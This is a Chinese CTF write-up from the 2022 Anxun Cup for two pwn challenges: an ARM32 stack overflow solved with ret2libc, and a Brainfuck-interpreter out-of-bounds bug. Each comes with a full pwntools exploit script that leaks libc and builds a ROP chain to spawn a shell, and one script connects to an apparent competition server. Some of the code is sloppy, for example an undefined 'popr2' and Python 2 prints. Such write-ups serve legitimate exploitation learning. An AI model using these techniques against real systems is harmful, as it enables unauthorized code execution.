2022安洵杯 CTF PWN wp
##前言:上午在打别的比赛,题不难,下午三点才上的号,导致我们差一名进决赛,太可惜了(都怪我 呜呜呜,下次认真。
##babyarm:
思路:栈溢出,异构PWN,arm,retlibc2,一次retlibc泄露got表计算出libc基地址,第二次打system即可,找到gadget传参即可,由于题目是arm32位,前4个参数是用r0~r3寄存器传参,所以我们第一步泄露libc的话,需要找到pop r0,然后再找一个有blx的寄存器进行跳转即可,参考kot师傅的寄存器,采用了以下
pop{r4,r5,r6,r7,r8,sb,sl,pc} pop{r3,pc} mov r0,r7;blx r3
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
p=process(['qemu-arm','-g','1234','-L','/usr/arm-linux-gnueabi','./chall'])
libc=ELF("./libc-2.27.so") elf=ELF("./chall")
puts_got=elf.got['puts'] puts_plt=0x0104AC mainaddr=0x10C4C
popr1=0x00010cb0 popr3=0x00010464 movr0=0x00010ca0 p.sendlineafter("msg>","s1mpl3Dec0d4r")
rop1='a'*0x2c+p32(popr1)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0) rop1+=p32(puts_plt)+p32(movr0)+p32(mainaddr)*10 p.sendlineafter("comment>",rop1) data = p.recvline() libc_base = u32(data[1:5]) - libc.sym["puts"] system = libc_base + libc.sym["system"] binsh=libc_base+next(libc.search(b'/bin/sh\x00')) print hex(data) print hex(libc_base) print hex(system) print hex(binsh)
rop2=p32(popr1)+p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)+p32(popr2) rop2+=p32(system)+p32(movr0) p.sendlineafter("msg>","a"*0x2c+rop2) p.interactive()
|
##babybf:
此题是继qwnt做出的第二个Brainfuck解释器PWN题,它有一套自己的符号,类似于vm,也算一个vm题,通过移动指针来进行越界写和越界读,这题就是通过移动指针来越界读和越界写,来列举下breainfuckf
| Brainfuck | C |
| --------- | ------------------------------------------------------------ |
| > | ++ptr; |
| < | --ptr; |
| + | ++*ptr; |
| - | --*ptr; |
| . | putchar(*ptr); |
| , | *ptr =getch(); |
| [ | while (*ptr) { |
| ] | } |
通过>移动87位置泄露libc,再次通过>移动56次来劫持返回地址rop即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import * p=process("./chall") p=remote('47.108.29.107',10472)
libc=ELF("libc-2.27.so") def sendcode(length,code): p.sendafter("len> ",str(length)) p.sendafter("code> ",code)
pay=">"*87 pay+=">."*9
sleep(1) sendcode(len(pay),pay) libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(0x8, b'\x00'))-0x21b97-0xf0 print hex(libcbase) ''' 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
''' rce1=libcbase+0x10a2fc rce2=libcbase+0x4f322 rce3=libcbase+0x10a38c poprdi=libcbase+0x000000000002164f poprsi=libcbase+0x0000000000023a6a system=libcbase+libc.sym['system'] binsh=libcbase+next(libc.search(b'/bin/sh\x00')) print type(rce1) print hex(rce1)
pay2="-"*40
sendcode(len(pay2),pay2) pay3=">"*56 pay3+=",>"*8 pay3+=",>"*8 pay3+=",>"*8 pay3+=",>"*8 sendcode(len(pay3),pay3) rop=p64(libcbase+0x000000000002155f)+p64(binsh)+p64(system) p.send(p64(libcbase+0x00000000000008aa)) p.send(p64(libcbase+0x000000000002164f)) p.send(p64(binsh)) p.send(p64(system))
p.interactive()
|